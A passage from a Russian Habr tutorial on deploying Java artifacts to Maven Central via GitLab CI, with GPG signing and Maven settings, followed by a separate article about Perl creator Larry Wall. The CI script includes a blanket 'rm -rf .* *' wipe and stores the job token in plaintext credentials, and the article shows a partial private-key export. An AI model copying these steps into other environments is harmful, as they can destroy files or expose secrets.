gitlab-deployer@127.0.0.1 ``` * Генерируем ключ отвечая на вопросы. Я использовал собственные имя и почту. Обязательно указываем пароль для ключа. Данным ключом будут подписываться артефакты. ``` gpg --gen-key ``` * Проверяем ``` gpg --list-keys -a /home/gitlab-deployer/.gnupg/pubring.gpg ---------------------------------------- pub 4096R/00000000 2019-04-19 uid Petruha Petrov sub 4096R/11111111 2019-04-19 ``` * Загружаем наш публичный ключ на сервер ключей ``` gpg --keyserver keys.gnupg.net --send-key 00000000 gpg: sending key 00000000 to hkp server keys.gnupg.net ``` [К содержанию](#toc) #### Настройка Maven * Заходим под пользователем `gitlab-deployer` ``` su gitlab-deployer ``` * Создаем диреторию maven **repository** и линкуем с кэшем (не ошибитесь) Этот пункт можно пропустить, если вы не планируете запуска несколько раннеров на одной машине. ``` mkdir -p ~/.m2/repository ln -s /usr/cache/.m2/repository /home/gitlab-deployer/.m2/repository ``` * Создаем мастер ключ ``` mvn --encrypt-master-password password {hnkle5BJ9HUHUMP+CXfGBl8dScfFci/mpsur/73tR2I=} ``` * Создаем файл ~/.m2/settings-security.xml ``` {hnkle5BJ9HUHUMP+CXfGBl8dScfFci/mpsur/73tR2I=} ``` * Шифруем пароль от учетной записи Sonatype ``` mvn --encrypt-password SONATYPE_PASSWORD {98Wv5+u+Tn0HX2z5G/kR4R8Z0WBgcDBgi7d12S/un+SCU7uxzaZGGmJ8Cu9pAZ2J} ``` * Создаем файл ~/.m2/settings.xml ``` env true GPG\_SECRET\_KEY\_PASSPHRASE sonatype SONATYPE\_USERNAME {98Wv5+u+Tn0HX2z5G/kR4R8Z0WBgcDBgi7d12S/un+SCU7uxzaZGGmJ8Cu9pAZ2J} ``` где, GPG\_SECRET\_KEY\_PASSPHRASE — пароль от GPG ключа SONATYPE\_USERNAME — логин учетной записи sonatype На этом настройка раннера завершена, можно переходить к разделу [GitLab CI](#gitlab_ci) [К содержанию](#toc) ### Shared Runner #### Генерация GPG ключей * В первую очередь необходимо создать GPG ключ. Для этого устанавливаем gnupg. ``` yum install -y gnupg ``` * Генерируем ключ отвечая на вопросы. Я использовал собственные имя и почту. Обязательно указываем пароль для ключа. ``` gpg --gen-key ``` * Выводим информацию по ключу ``` gpg --list-keys -a pub rsa3072 2019-04-24 [SC] [expires: 2021-04-23] 2D0D1706366FC4AEF79669E24D09C55BBA3FD728 uid [ultimate] tttemp sub rsa3072 2019-04-24 [E] [expires: none] ``` * Загружаем наш публичный ключ на сервер ключей ``` gpg --keyserver keys.gnupg.net --send-key 2D0D1706366FC4AEF79669E24D09C55BBA3FD728 gpg: sending key 2D0D1706366FC4AEF79669E24D09C55BBA3FD728 to hkp server keys.gnupg.net ``` * Получаем приватный ключ ``` gpg --export-secret-keys --armor 2D0D1706366FC4AEF79669E24D09C55BBA3FD728 -----BEGIN PGP PRIVATE KEY BLOCK----- lQWGBFzAqp8BDADN41CPwJ/gQwiKEbyA902DKw/WSB1AvZQvV/ZFV77xGeG4K7k5 ... =2Wd2 -----END PGP PRIVATE KEY BLOCK----- ``` * Переходим настройки проекта -> Settings -> CI / CD -> Variables и сохраняем приватный ключ в переменной `GPG_SECRET_KEY` [![](https://habrastorage.org/r/w1560/webt/e9/y6/s4/e9y6s4chzhakvk1h8awi-afe5oy.png)](https://hsto.org/webt/e9/y6/s4/e9y6s4chzhakvk1h8awi-afe5oy.png) [К содержанию](#toc) #### Настройка Maven * Создаем мастер ключ ``` mvn --encrypt-master-password password {hnkle5BJ9HUHUMP+CXfGBl8dScfFci/mpsur/73tR2I=} ``` * Переходим настройки проекта -> Settings -> CI / CD -> Variables и сохраняем в переменной `SETTINGS_SECURITY_XML` следующие строки: ``` {hnkle5BJ9HUHUMP+CXfGBl8dScfFci/mpsur/73tR2I=} ``` * Шифруем пароль от учетной записи Sonatype ``` mvn --encrypt-password SONATYPE_PASSWORD {98Wv5+u+Tn0HX2z5G/kR4R8Z0WBgcDBgi7d12S/un+SCU7uxzaZGGmJ8Cu9pAZ2J} ``` * Переходим настройки проекта -> Settings -> CI / CD -> Variables и сохраняем в переменной `SETTINGS_XML` следующие строки: ``` env true GPG\_SECRET\_KEY\_PASSPHRASE sonatype sonatype\_username {98Wv5+u+Tn0HX2z5G/kR4R8Z0WBgcDBgi7d12S/un+SCU7uxzaZGGmJ8Cu9pAZ2J} ``` где, GPG\_SECRET\_KEY\_PASSPHRASE — пароль от GPG ключа SONATYPE\_USERNAME — логин учетной записи sonatype [К содержанию](#toc) #### Deploy docker image * Создаем достаточно простой Dockerfile для запуска задач на deploy с нужной версией Java. Ниже представлен пример для alpine. ``` FROM java:8u111-jdk-alpine RUN apk add gnupg maven git --update-cache \ --repository http://dl-4.alpinelinux.org/alpine/edge/community/ --allow-untrusted && \ mkdir ~/.m2/ ``` * Собираем контейнер для вашего проекта ``` docker build -t registry.gitlab.com/group/deploy . ``` * Аутентифицируемся и загружаем контейнер в registry. ``` docker login -u USER -p PASSWORD registry.gitlab.com docker push registry.gitlab.com/group/deploy ``` [К содержанию](#toc) GitLab CI --------- ### Deploy project Добавляем в корень deploy-проекта файл .gitlab-ci.yml В скрипте представлено две взаимоисключающие задачи на деплой. Specific Runner или Shared Runner соответственно. **.gitlab-ci.yml** ``` stages: - deploy Specific Runner: extends: .java_deploy_template # Задача будет выполняться на вашем shell-раннере tags: - deploy Shared Runner: extends: .java_deploy_template # Задача будет выполняться на публичном docker-раннере tags: - docker # Образ из раздела GitLab Runner -> Shared Runner -> Docker image: registry.gitlab.com/group/deploy-project:latest before_script: # Импортируем GPG ключ - printf "${GPG_SECRET_KEY}" | gpg --batch --import # Сохраняем maven конфигурацию - printf "${SETTINGS_SECURITY_XML}" > ~/.m2/settings-security.xml - printf "${SETTINGS_XML}" > ~/.m2/settings.xml .java_deploy_template: stage: deploy # Задача сработает по триггеру, если передана переменная DEPLOY со значением java only: variables: - $DEPLOY == "java" variables: # отключаем клонирование текущего проекта GIT_STRATEGY: none script: # Предоставляем возможность хранения пароля в незашифрованном виде - git config --global credential.helper store # Сохраняем временные креды пользователя gitlab-ci-token # Токен работает для всех публичных проектов gitlab.com и для проектов группы - echo "https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com" >> ~/.git-credentials # Полностью чистим текущую директорию - rm -rf .* * # Клонируем проект который, будем деплоить в Sonatype Nexus - git clone ${DEPLOY_CI_REPOSITORY_URL} . # Переключаемся на нужный коммит - git checkout ${DEPLOY_CI_COMMIT_SHA} -f # Если хоть один pom.xml содержит параметр autoReleaseAfterClose валим сборку. # В противном случае есть риск залить сырые артефакты в maven central - > for pom in $(find . -name pom.xml); do if [[ $(grep -q autoReleaseAfterClose "$pom" && echo $?) == 0 ]]; then echo "File $pom contains prohibited setting: "; exit 1; fi; done # Если параметр DEPLOY\_CI\_COMMIT\_TAG пустой, то принудительно ставим SNAPSHOT-версию - > if [[ "${DEPLOY\_CI\_COMMIT\_TAG}" != "" ]]; then mvn versions:set -DnewVersion=${DEPLOY\_CI\_COMMIT\_TAG} else VERSION=$(mvn -q -Dexec.executable=echo -Dexec.args='${project.version}' --non-recursive exec:exec) if [[ "${VERSION}" == \*-SNAPSHOT ]]; then mvn versions:set -DnewVersion=${VERSION} else mvn versions:set -DnewVersion=${VERSION}-SNAPSHOT fi fi # Запускаем задачу на сборку и деплой артефактов - mvn clean deploy -DskipTests=true ``` [К содержанию](#toc) ### Java project В java проектах которые предполагается загружать в публичные репозитории необходимо добавить 2 шага на загрузку Release и Snapshot версий. **.gitlab-ci.yml** ``` stages: - build - test - verify - deploy <...> Release: extends: .trigger_deploy # Запускать задачу только пo тегу. only: - tags Snapshot: extends: .trigger_deploy # Запускаем задачу на публикацию SNAPSHOT версии вручную when: manual # Не запускать задачу, если проставлен тег. except: - tags .trigger_deploy: stage: deploy variables: # Отключаем клонирование текущего проекта GIT_STRATEGY: none # Ссылка на триггер deploy-задачи URL: "https://gitlab.com/api/v4/projects//trigger/pipeline" # Переменные deploy-задачи POST\_DATA: "\ token=${DEPLOY\_TOKEN}&\ ref=master&\ variables[DEPLOY]=${DEPLOY}&\ variables[DEPLOY\_CI\_REPOSITORY\_URL]=${CI\_REPOSITORY\_URL}&\ variables[DEPLOY\_CI\_PROJECT\_NAME]=${CI\_PROJECT\_NAME}&\ variables[DEPLOY\_CI\_COMMIT\_SHA]=${CI\_COMMIT\_SHA}&\ variables[DEPLOY\_CI\_COMMIT\_TAG]=${CI\_COMMIT\_TAG} " script: # Не использую cURL, так как с флагами --fail --show-error # он не выводит тело ответа, если HTTP код 400 и более - wget --content-on-error -qO- ${URL} --post-data ${POST\_DATA} ``` В данном решении я пошел немного дальше и решил использовать один CI шаблон для java проектов. **Более подробно**Я создал отдельный проект [gitlab-ci](https://gitlab.com/TouchBIT/gitlab-ci) в котором разместил шаблон CI для java проектов [common.yml](https://gitlab.com/TouchBIT/gitlab-ci/blob/master/common.yml). **common.yml** ``` stages: - build - test - verify - deploy variables: SONAR_ARGS: "\ -Dsonar.gitlab.commit_sha=${CI_COMMIT_SHA} \ -Dsonar.gitlab.ref_name=${CI_COMMIT_REF_NAME} \ " .build_java_project: stage: build tags: - touchbit-shell variables: SKIP_TEST: "false" script: - mvn clean - mvn package -DskipTests=${SKIP_TEST} artifacts: when: always expire_in: 30 day paths: - "*/target/reports" .build_sphinx_doc: stage: build tags: - touchbit-shell variables: DOCKERFILE: .indirect/docs/Dockerfile script: - docker build --no-cache -t ${CI_PROJECT_NAME}/doc -f ${DOCKERFILE} . .junit_module_test_run: stage: test tags: - touchbit-shell variables: MODULE: "" script: - cd ${MODULE} - mvn test artifacts: when: always expire_in: 30 day paths: - "*/target/reports" .junit_test_run: stage: test tags: - touchbit-shell script: - mvn test artifacts: when: always expire_in: 30 day paths: - "*/target/reports" .sonar_review: stage: verify tags: - touchbit-shell dependencies: [] script: - > if [ "$CI_BUILD_REF_NAME" == "master" ]; then mvn compile sonar:sonar -Dsonar.login=$SONAR_LOGIN $SONAR_ARGS else mvn compile sonar:sonar -Dsonar.login=$SONAR_LOGIN $SONAR_ARGS -Dsonar.analysis.mode=preview fi .trigger_deploy: stage: deploy tags: - touchbit-shell variables: URL: "https://gitlab.com/api/v4/projects/10345765/trigger/pipeline" POST_DATA: "\ token=${DEPLOY_TOKEN}&\ ref=master&\ variables[DEPLOY]=${DEPLOY}&\ variables[DEPLOY_CI_REPOSITORY_URL]=${CI_REPOSITORY_URL}&\ variables[DEPLOY_CI_PROJECT_NAME]=${CI_PROJECT_NAME}&\ variables[DEPLOY_CI_COMMIT_SHA]=${CI_COMMIT_SHA}&\ variables[DEPLOY_CI_COMMIT_TAG]=${CI_COMMIT_TAG} " script: - wget --content-on-error -qO- ${URL} --post-data ${POST_DATA} .trigger_release_deploy: extends: .trigger_deploy only: - tags .trigger_snapshot_deploy: extends: .trigger_deploy when: manual except: - tags ``` В результате в самих java проектах .gitlab-ci.yml выглядит весьма компактно и не многословно **.gitlab-ci.yml** ``` include: https://gitlab.com/TouchBIT/gitlab-ci/raw/master/common.yml Shields4J: extends: .build_java_project Sphinx doc: extends: .build_sphinx_doc variables: DOCKERFILE: .docs/Dockerfile Sonar review: extends: .sonar_review dependencies: - Shields4J Release: extends: .trigger_release_deploy Snapshot: extends: .trigger_snapshot_deploy ``` [К содержанию](#toc) Конфигурация pom.xml -------------------- Очень детально данная тема описана [Googolplex](https://habr.com/ru/users/googolplex/) в [Настройка мавена для автоматической подписи и загрузки артефактов в snapshot- и staging-репозитории](https://habr.com/ru/post/171493/), поэтому я опишу некоторые нюансы использования плагинов. Так же я опишу как легко и непринужденно можно использовать `nexus-staging-maven-plugin`, если вы не хотите или не можете использовать org.sonatype.oss:oss-parent в качестве родителя для своего проекта. ### maven-install-plugin Устанавливает модули в локальный репозиторий. Весьма полезен для локальной проверки решений в других проектах, а так же контрольной суммой. ``` org.apache.maven.plugins maven-install-plugin install-project install target/${project.artifactId}-${project.version}.jar ```target/${project.artifactId}-${project.version}-sources.jar dependency-reduced-pom.xml true true ``` [К содержанию](#toc) ### maven-javadoc-plugin Генерация javadoc для проекта. ``` org.apache.maven.plugins maven-javadoc-plugin jar prepare-package true true false ``` Если у вас есть модуль, который не содержит java (например только ресурсы) Или вы не хотите в принципе генерировать javadoc, то в помощь `maven-jar-plugin` ``` org.apache.maven.plugins maven-jar-plugin empty-javadoc-jar generate-resources jar javadoc ${basedir}/javadoc ``` [К содержанию](#toc) ### maven-gpg-plugin ``` org.apache.maven.plugins maven-gpg-plugin sign-artifacts deploy sign ``` [К содержанию](#toc) ### nexus-staging-maven-plugin Конфигурация: ``` org.sonatype.plugins nexus-staging-maven-plugin org.sonatype.plugins nexus-staging-maven-plugin true sonatype https://oss.sonatype.org/ true org.apache.maven.plugins maven-deploy-plugin true sonatype Nexus Snapshot Repository https://oss.sonatype.org/content/repositories/snapshots/ sonatype Nexus Release Repository https://oss.sonatype.org/service/local/staging/deploy/maven2/ ``` Если у вас многомодульный проект, и вам нет необходимости загружать определенный модуль в репозиторий, то в pom.xml данного модуля необходимо добавить `nexus-staging-maven-plugin` с флагом `skipNexusStagingDeployMojo` ``` org.sonatype.plugins nexus-staging-maven-plugin true ``` После загрузки snapshot/release версии доступны в [staging репозитории](https://oss.sonatype.org/content/groups/staging/) ``` SonatypeNexus https://oss.sonatype.org/content/groups/staging/ ``` Еще плюсы * Очень богатый список целей для работы с nexus репозиторием (`mvn help:describe -Dplugin=org.sonatype.plugins:nexus-staging-maven-plugin`). * Автоматическая проверка релиза на возможность загрузки в maven central [К содержанию](#toc) Результат --------- ### Публикация SNAPSHOT версии При сборке проекта присутствует возможность ручного запуска задачи на загрузку SNAPSHOT версии в nexus [![](https://habrastorage.org/r/w1560/webt/ok/cu/pc/okcupcl11yaflpqpad7w5rfakpq.png)](https://hsto.org/webt/ok/cu/pc/okcupcl11yaflpqpad7w5rfakpq.png) При запуске данной задачи триггерится соответствующая задача в проекте deploy ([пример](https://gitlab.com/TouchBIT/deploy/-/jobs/199903630)). **Подрезанный лог** ``` Running with gitlab-runner 11.10.0 (3001a600) on Deploy runner JSKWyxUw Using Shell executor... Running on ih1174328.vds.myihor.ru... Skipping Git repository setup Skipping Git checkout Skipping Git submodules setup $ rm -rf .* * $ git config --global credential.helper store $ echo "https://gitlab-ci-token:${CI_JOB_TOKEN}@gitlab.com" >> ~/.git-credentials $ git clone ${DEPLOY_CI_REPOSITORY_URL} . Cloning into 'shields4j'... $ git checkout ${DEPLOY_CI_COMMIT_SHA} Note: checking out '850f86aa317194395c5387790da1350e437125a7'. You are in 'detached HEAD' state. You can look around, make experimental changes and commit them, and you can discard any commits you make in this state without impacting any branches by performing another checkout. If you want to create a new branch to retain commits you create, you may do so (now or later) by using -b with the checkout command again. Example: git checkout -b new_branch_name HEAD is now at 850f86a... skip deploy test-core $ for pom in $(find . -name pom.xml); do # collapsed multi-line command $ if [[ "${DEPLOY_CI_COMMIT_TAG}" != "" ]]; then # collapsed multi-line command [INFO] Scanning for projects... [INFO] Inspecting build with total of 4 modules... [INFO] Installing Nexus Staging features: [INFO] ... total of 4 executions of maven-deploy-plugin replaced with nexus-staging-maven-plugin [INFO] ------------------------------------------------------------------------ [INFO] Reactor Build Order: [INFO] [INFO] Shields4J [pom] [INFO] test-core [jar] [INFO] Shields4J client [jar] [INFO] TestNG listener [jar] [INFO] [INFO] --------------< org.touchbit.shields4j:shields4j-parent >--------------- [INFO] Building Shields4J 1.0.0 [1/4] [INFO] --------------------------------[ pom ]--------------------------------- [INFO] [INFO] --- versions-maven-plugin:2.5:set (default-cli) @ shields4j-parent --- [INFO] Searching for local aggregator root... [INFO] Local aggregation root: /home/gitlab-deployer/JSKWyxUw/0/TouchBIT/deploy/shields4j [INFO] Processing change of org.touchbit.shields4j:shields4j-parent:1.0.0 -> 1.0.0-SNAPSHOT [INFO] Processing org.touchbit.shields4j:shields4j-parent [INFO] Updating project org.touchbit.shields4j:shields4j-parent [INFO] from version 1.0.0 to 1.0.0-SNAPSHOT [INFO] [INFO] Processing org.touchbit.shields4j:client [INFO] Updating parent org.touchbit.shields4j:shields4j-parent [INFO] from version 1.0.0 to 1.0.0-SNAPSHOT [INFO] Updating dependency org.touchbit.shields4j:test-core [INFO] from version 1.0.0 to 1.0.0-SNAPSHOT [INFO] [INFO] Processing org.touchbit.shields4j:test-core [INFO] Updating parent org.touchbit.shields4j:shields4j-parent [INFO] from version 1.0.0 to 1.0.0-SNAPSHOT [INFO] [INFO] Processing org.touchbit.shields4j:testng [INFO] Updating parent org.touchbit.shields4j:shields4j-parent [INFO] from version 1.0.0 to 1.0.0-SNAPSHOT [INFO] Updating dependency org.touchbit.shields4j:client [INFO] from version 1.0.0 to 1.0.0-SNAPSHOT [INFO] Updating dependency org.touchbit.shields4j:test-core [INFO] from version 1.0.0 to 1.0.0-SNAPSHOT [INFO] [INFO] ------------------------------------------------------------------------ [INFO] Reactor Summary: [INFO] [INFO] Shields4J 1.0.0 .................................... SUCCESS [ 0.992 s] [INFO] test-core .......................................... SKIPPED [INFO] Shields4J client ................................... SKIPPED [INFO] TestNG listener 1.0.0 .............................. SKIPPED [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 2.483 s [INFO] Finished at: 2019-04-21T02:40:42+03:00 [INFO] ------------------------------------------------------------------------ $ mvn clean deploy -DskipTests=${SKIP_TESTS} [INFO] Scanning for projects... [INFO] Inspecting build with total of 4 modules... [INFO] Installing Nexus Staging features: [INFO] ... total of 4 executions of maven-deploy-plugin replaced with nexus-staging-maven-plugin [INFO] ------------------------------------------------------------------------ [INFO] Reactor Build Order: [INFO] [INFO] Shields4J [pom] [INFO] test-core [jar] [INFO] Shields4J client [jar] [INFO] TestNG listener [jar] [INFO] [INFO] --------------< org.touchbit.shields4j:shields4j-parent >--------------- [INFO] Building Shields4J 1.0.0-SNAPSHOT [1/4] [INFO] --------------------------------[ pom ]--------------------------------- ... DELETED ... [INFO] * Bulk deploy of locally gathered snapshot artifacts finished. [INFO] Remote deploy finished with success. [INFO] ------------------------------------------------------------------------ [INFO] Reactor Summary: [INFO] [INFO] Shields4J 1.0.0-SNAPSHOT ........................... SUCCESS [ 2.375 s] [INFO] test-core .......................................... SUCCESS [ 3.929 s] [INFO] Shields4J client ................................... SUCCESS [ 3.815 s] [INFO] TestNG listener 1.0.0-SNAPSHOT ..................... SUCCESS [ 36.134 s] [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 47.629 s [INFO] Finished at: 2019-04-21T02:41:32+03:00 [INFO] ------------------------------------------------------------------------ ``` В результате в nexus загружена версия [1.0.0-SNAPSHOT](https://oss.sonatype.org/content/groups/staging/org/touchbit/shields4j/shields4j-parent/1.0.0-SNAPSHOT/). Все snapshot версси можно удалить из репозитория на сайте [oss.sonatype.org](https://oss.sonatype.org/#view-repositories;snapshots~browsestorage) под своей учетной записью. [![](https://habrastorage.org/r/w1560/webt/s-/_p/su/s-_psuvh1j2dxip43r8szrm57x8.png)](https://hsto.org/webt/s-/_p/su/s-_psuvh1j2dxip43r8szrm57x8.png) [К содержанию](#toc) ### Публикация release версии При установке тега, автоматически триггерится соответствующая задача в проекте deploy на загрузку релизной версии в nexus ([пример](https://gitlab.com/TouchBIT/deploy/-/jobs/199910202)). [![](https://habrastorage.org/r/w1560/webt/md/i7/up/mdi7upoaqsvumqahwlnb6u5-xnq.png)](https://hsto.org/webt/md/i7/up/mdi7upoaqsvumqahwlnb6u5-xnq.png) Самое приятное, что автоматически срабатывает close release в nexus. ``` [INFO] Performing remote staging... [INFO] [INFO] * Remote staging into staging profile ID "9043b43f77dcc9" [INFO] * Created staging repository with ID "orgtouchbit-1037". [INFO] * Staging repository at https://oss.sonatype.org:443/service/local/staging/deployByRepositoryId/orgtouchbit-1037 [INFO] * Uploading locally staged artifacts to profile org.touchbit [INFO] * Upload of locally staged artifacts finished. [INFO] * Closing staging repository with ID "orgtouchbit-1037". Waiting for operation to complete... ......... [INFO] Remote staged 1 repositories, finished with success. [INFO] ------------------------------------------------------------------------ [INFO] Reactor Summary: [INFO] [INFO] Shields4J 1.0.0 .................................... SUCCESS [ 9.603 s] [INFO] test-core .......................................... SUCCESS [ 3.419 s] [INFO] Shields4J client ................................... SUCCESS [ 9.793 s] [INFO] TestNG listener 1.0.0 .............................. SUCCESS [01:23 min] [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 01:47 min [INFO] Finished at: 2019-04-21T04:05:46+03:00 [INFO] ------------------------------------------------------------------------ ``` **И если что-то пошло не так, то задача обязательно завалится** ``` [INFO] Performing remote staging... [INFO] [INFO] * Remote staging into staging profile ID "9043b43f77dcc9" [INFO] * Created staging repository with ID "orgtouchbit-1038". [INFO] * Staging repository at https://oss.sonatype.org:443/service/local/staging/deployByRepositoryId/orgtouchbit-1038 [INFO] * Uploading locally staged artifacts to profile org.touchbit [INFO] * Upload of locally staged artifacts finished. [INFO] * Closing staging repository with ID "orgtouchbit-1038". Waiting for operation to complete... ....... [ERROR] Rule failure while trying to close staging repository with ID "orgtouchbit-1039". [ERROR] [ERROR] Nexus Staging Rules Failure Report [ERROR] ================================== [ERROR] [ERROR] Repository "orgtouchbit-1039" failures [ERROR] Rule "signature-staging" failures [ERROR] * No public key: Key with id: (1f42b618d1cbe1b5) was not able to be located on <a href=http://keys.gnupg.net:11371/>http://keys.gnupg.net:11371/</a>. Upload your public key and try the operation again. ... [ERROR] Cleaning up local stage directory after a Rule failure during close of staging repositories: [orgtouchbit-1039] [ERROR] * Deleting context 9043b43f77dcc9.properties [ERROR] Cleaning up remote stage repositories after a Rule failure during close of staging repositories: [orgtouchbit-1039] [ERROR] * Dropping failed staging repository with ID "orgtouchbit-1039" (Rule failure during close of staging repositories: [orgtouchbit-1039]). [ERROR] Remote staging finished with a failure: Staging rules failure! [INFO] ------------------------------------------------------------------------ [INFO] Reactor Summary: [INFO] [INFO] Shields4J 1.0.0 .................................... SUCCESS [ 4.073 s] [INFO] test-core .......................................... SUCCESS [ 2.788 s] [INFO] Shields4J client ................................... SUCCESS [ 3.962 s] [INFO] TestNG listener 1.0.0 .............................. FAILURE [01:07 min] [INFO] ------------------------------------------------------------------------ [INFO] BUILD FAILURE [INFO] ------------------------------------------------------------------------ ``` В резултате нам остается единственный выбор. Или удалить данную версию или опубликовать. [![](https://habrastorage.org/r/w1560/webt/id/n-/kl/idn-klr-3skipmuzn5qphstg6vy.png)](https://hsto.org/webt/id/n-/kl/idn-klr-3skipmuzn5qphstg6vy.png) После релиза, через некоторое время артефакты окажутся в [![Maven Central](https://habrastorage.org/getpro/habr/post_images/0bb/fe4/c38/0bbfe4c38e7ae092915f3552e7b431b0.svg)](https://mvnrepository.com/artifact/org.touchbit.shields4j) **офтоп**Для меня было открытием, что maven индексирует другие публичные репозитории. Пришлось подкинуть robots.txt, так как он проиндексировал мой старый репозиторий. [К содержанию](#toc) Заключение ---------- Что мы имеем * Отдельный deploy-проект в котором можно реализовать несколько CI задач на загрузку артефактов в публичные репозитории для различных языков разработки. * Deploy-проект изолирован от постороннего вмешательства и может быть изменен только пользователями с ролью Owner и Maintainer. * Отдельный Specific Runner с "горячим" кэшем для запуска только deploy задач. * Публикация snapshot/release версий в публичном репозитории. * Автоматическая проверка release версии на готовность к публикации в maven central. * Защита от автоматической публикации "сырых" версий в maven central. * Сборка и публикация snapshot версий "по клику". * Единый репозиторий для получения snapshot/release версий. * Общий пайплайн на сборку/тестирование/публикацию java проекта. Настройка GitLab CI не такая сложная тема как кажется на первый взгляд. Достаточно пару раз настроить CI "под ключ" и вот, ты уже далеко не дилетант в этом деле. Тем более GitLab документация весьма избыточна. Не бойтесь делать первый шаг. Дорога возникает под шагами идущего (не помню кто сказал :) ). Буду рад фидбэку. В следующей статье расскажу о том, как настроить GitLab CI для конкурентного запуска задач с интеграционными тестами (с запуском тестируемых сервисов при помощи docker-compose), если у вас есть только один shell раннер. [К содержанию](#toc)
https://habr.com/ru/post/449664/
null
ru
null
# День рождения программиста, который не хотел денег, но создал проект на миллиарды долларов ![](https://habrastorage.org/r/w780q1/webt/qm/3z/kh/qm3zkhlc6wvjedqo1dpyjsqh-oc.jpeg) 27 сентября исполняется 68 лет Ларри Уоллу — программисту, разработавшему популярный клиент rn — newsreader для групп новостей Usenet, [во многом благодаря которому спустя десяток лет на свет появилась ОС Linux](https://habr.com/ru/company/timeweb/blog/683342/). Но широкую известность он получил после создания языка Perl, который нашел применение на заре Интернета в качестве инструмента для сборки интерактивных и динамических сайтов. Однако изначально Perl был придуман совсем не для этого. Язык отличается богатыми возможностями по обработке текста и регулярных выражений, что, впрочем, не удивительно: по образованию Ларри Уолл является дипломированным лингвистом. Путь специалиста по языкознанию в профессиональные программисты оказался тернист, но весьма интересен. Ларри Арнольд Уолл родился в 1954 году Лос-Анжелесе в семье протестантского священника. Вскоре семья переехала в небольшой город Брементон, штат Вашингтон. В юности Ларри мечтал стать священнослужителем, как его отец, и по мнению ближайших родственников был абсолютным гуманитарием. Наверное, поэтому Уолл поступил в Тихоокеанский университет Сиэтла на специальность «химия», однако позже он перевелся на факультет естественных языков, где и получил степень бакалавра в 1976 году. ![](https://habrastorage.org/r/w780q1/webt/fi/zs/ug/fizsug38ugxsrbe80dylsb6teak.jpeg) Еще в студенческие годы Ларри Уолл женился, и у них с супругой появилась одна мечта на двоих: найти где-нибудь на просторах Африки бесписьменный язык, и создать для него систему письма, над которой он тогда трудился. Однако запланированная им экспедиция в Африку была отменена: состояние здоровья Уолла не позволило ему покинуть Соединенные Штаты. После краха идеи стать африканским Кириллом и Мефодием в одном лице, Ларри решил немного сменить приоритеты. Параллельно с учебой Уолл подрабатывал в университетском вычислительном центре, и там он решил совместить свое увлечение лингвистикой с религиозным воспитанием, полученным в семье. В качестве хобби он вместе с женой стал переводить Библию на разные языки мира, и для ускорения этого процесса решил использовать современные компьютерные технологии. А именно, применить придуманную им систему письма для ввода в компьютер, обработки и перевода текстов Библии. Именно так и зародился Perl. Язык понемногу совершенствовался, разработчик добавлял в него все новые возможности, и окончательно Perl сформировался уже после окончания Уоллом аспирантуры, в 1987 году, когда он устроился на работу в System Development Corporation, фирму, которая позже стала частью корпорации Unisys. Perl принято расшифровывать как Practical Extraction and Report Language («практический язык для извлечения данных и составления отчётов»), хотя многие современники именовали его не иначе, как Pathologically Eclectic Rubbish Lister («патологически эклектичный перечислитель мусора»). Впрочем, сам Ларри Уолл неоднократно утверждал, что название языка не является акронимом: оно пришло ему в голову, как отсылка к Евангелию от Матфея, стих 13:46: «Еще подобно Царство Небесное купцу, ищущему хороших жемчужин, который, найдя одну драгоценную жемчужину, пошел и продал все, что имел, и купил ее». В этом есть определенный символизм: если верить многочисленным интервью, Уолл трудился над собственным языком не ради заработка — он вообще не планировал делать на этом деньги. Ларри посвятил этому проекту все свое свободное время ради популяризации христианства, а также для того, чтобы помочь другим программистам решать насущные задачи по обработке больших массивов структурированных текстовых данных. Он сделал исходники Perl общедоступными и распространяемыми на основе бесплатной лицензии, за что удостоился первой награды Free Software Foundation за продвижение свободного программного обеспечения. Тем не менее Perl стал основой бизнеса для множества успешных стартапов и интернет-компаний: именно на этом языке был написан движок первой версии портала Yahoo и интернет-магазина Amazon. Благодаря Perl интернет-предприниматели в начале 90-х и в эпоху «бума доткомов» заработали миллиарды долларов. Символом созданного им языка Уолл сделал верблюда — удивительное животное, которое ~~в отличие от программистов на Perl может не пить до 30 дней~~ отличается силой и необычайной выносливостью. Лингвистическое образование дало о себе знать: вместо привычных для программистов терминов «переменная», «функция» и «параметр», при описании особенностей Perl он использует слова «существительное», «глагол» и «актуализатор». Уолл вообще часто сравнивает Perl с естественным языком, и считает это главной отличительной особенностью своего детища. На Perl можно даже писать стихи, которые можно запускать в качестве работающей программы. Одно из таких стихотворений под названием «Black Perl» («Чёрная жемчужина»), полностью соответствующее стандартам Perl 3, Ларри Уолл даже опубликовал в первоапрельском письме 1990 года в Usenet-конференции comp.lang.perl: ``` BEFOREHAND: close door, each window & exit; wait until time. open spellbook, study, read (scan, select, tell us); write it, print the hex while each watches, reverse its length, write again; kill spiders, pop them, chop, split, kill them. unlink arms, shift, wait & listen (listening, wait), sort the flock (then, warn the "goats" & kill the "sheep"); kill them, dump qualms, shift moralities, values aside, each one; die sheep! die to reverse the system you accept (reject, respect); next step, kill the next sacrifice, each sacrifice, wait, redo ritual until "all the spirits are pleased"; do it ("as they say"). do it(*everyone***must***participate***in***forbidden**s*e*x*). return last victim; package body; exit crypt (time, times & "half a time") & close it, select (quickly) & warn your next victim; AFTERWORDS: tell nobody. wait, wait until time; wait until next year, next decade; sleep, sleep, die yourself, die at last ``` ![](https://habrastorage.org/r/w780q1/webt/s5/jh/zl/s5jhzldjykltyqq8603mwwazwwe.jpeg) В целях популяризации языка в 1995 году Уолл написал вместе с соавтором Рейнольдом Шварцем быстро ставшую бестселлером книгу «Programming Perl» (также известную под неофициальным названием “The Camel Book” из-за изображенного на обложке верблюда), и вскоре перешел на работу в издательство O’Reilly Media в качестве редактора, где продолжил издавать книги, посвященные Perl. В 2004 году Ларри Уолл занял пост старшего научного сотрудника в компании NetLabs, и продолжает сотрудничество с O’Reilly. Вместе с супругой и детьми он живет в самом сердце Кремниевой долины — городе Маунтин-Вью, Калифорния. Несмотря на то, что в наши дни в интернет-индустрии и сфере разработки сайтов на смену Perl пришли языки PHP и Python, Perl по-прежнему используется для создания скриптов в UNIX-подобных системах, особенно, если эти сценарии применяются для синтаксического разбора и обработки текстовых данных. 